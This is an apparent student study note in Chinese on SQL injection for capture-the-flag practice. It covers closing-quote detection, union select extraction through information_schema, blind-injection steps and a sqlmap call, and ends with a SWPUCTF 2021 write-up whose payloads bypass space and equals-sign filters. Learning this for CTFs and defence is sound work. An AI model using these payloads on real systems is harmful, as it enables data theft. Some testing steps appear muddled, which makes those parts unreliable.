week2-web
一般情况下,通过post方式传入一个参数id来查询数据库的内容。
判断sql语句闭合方式
当在id的值后面加上'
时,界面无回显,就可以判断后面的sql语句应该是
1 | select xxxx from xxxx where id = 'input_id' [xxxx] |
意思表示:“从名为‘xxxx’的表中选择列‘xxxx’的所有数据,但只包括那些其’id’列与给定的’input_id’相匹配的行。”
xxxx
是占位符,第一个xxxx
会被实际的列名替换;第二个xxxx
会被表名替换。input_id
被替换成想要查找的具体id值。
常见闭合模式判断表
页面反应 | 可能闭合方式 |
---|---|
1’ 报错 | 数字型或双引号 |
1’ 正常 | 单引号闭合 |
1’– 正常 | 单引号闭合 |
1’) 报错 | 非括号闭合 |
1’)– 正常 | 单引号+括号闭合 |
1’ 和 1’ AND ‘1’=’1 都正常 | 单引号闭合 |
联合查询注入
寻找可能存在漏洞的参数
在参数值后添加'
,"
,()
等payload来判断注入点,查看返回结果,如果报错,则可能这个参数存在注入漏洞。
数字型注入的sql语句
一般形式:select * from 【表名】 where id = 1
如何测试:
- 加单引号
'
,这种情况会报错; - 加
and 1=1
,语句正常执行,无回显; - 加
and 1=2
,正常执行,但有回显;
以上三点 满足,则此处存在数字型注入
字符型注入的sql语句
一般形式:select * where name = '用户名的具体值'
- 加单引号
'select * from 【表名】 where name ='用户名具体值' and 1=1 #'
回显正常则判断此处为字符型注入。
1 | order by x(x为数字) |
从1开始增加,知道返回错误信息,就找到字段数(x-1)
使用union select语句来联合查询其他表的数据。例如,假设已经确定字段数为 3,输入’ union select 1,2,3–,观察页面返回结果,确定哪些字段可以显示数据。
通过替换union select语句中的数字为数据库函数,如database()、version()等,获取数据库的名称
另:
1 | ?id=1 and 1=2 union select 1,database() |
从而得到数据库名
使用information_schema
数据库中的tables
表和columns
表来获取目标数据库中的表名和列名。例如,输入' union select 1,table_name,3 from information_schema.tables where table_schema=database()--
,可以获取当前数据库中的所有表名;
1 | ' union select 1, column_name, 3 from information_schema.columns where table_schema =database() AND table_name = '目标表名' --+ |
table_name是目标表名
我们假设上面的数据库名称为sqli
1 | ?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' |
假设我们需要爆的字段是flag,则有
1 | ?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag |
布尔盲注
页面没有回显字段,不显示查询到的结果,只是返回是否查询成功(返回查询语句的布尔值),这种情况一般比较复杂,需要不断尝试
思路:
- 爆库名长度
- 根据库名长度爆库名
- 对当前库爆表数量
- 根据库名和表数量爆表名长度
- 根据表名长度爆表名
- 对表爆列数量
- 根据表名和列数量爆列名长度
- 根据列名长度爆列名
- 根据列名爆数据值
这种情况也可以直接利用脚本来解决
没有看到比较典型的,还是做题的时候现找吧
时间运行可能会比较久
时间盲注
当注入条件为真时,反应时间会比较长,利用这个点,找到那个真的注入条件,但显然,这个做法会很慢,耽误很长时间。
在比较简单的题目中,我们倒是可以利用这个点来进行操作
步骤:
- 确定注入点
- 构造延时查询
- 观察响应时间
- 逐步猜解信息
另外可以利用sqlmap进行解题,这个方法比较简单
1 | sqlmap -u "URL" --dbs |
另外利用python脚本
依旧是根据题目来写
题目
[SWPUCTF 2021 新生赛]sql
我们先进行测试
在后面我们发现是有空格过滤和等号过滤的,我们用/**/ 代替空格
1 | ?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23 |
获得表名
1 | ?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23 |
得到列名
最后获取flag
1 | ?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23 //%23是#的URL编码,注释掉原始查询的剩余部分 |
获得flag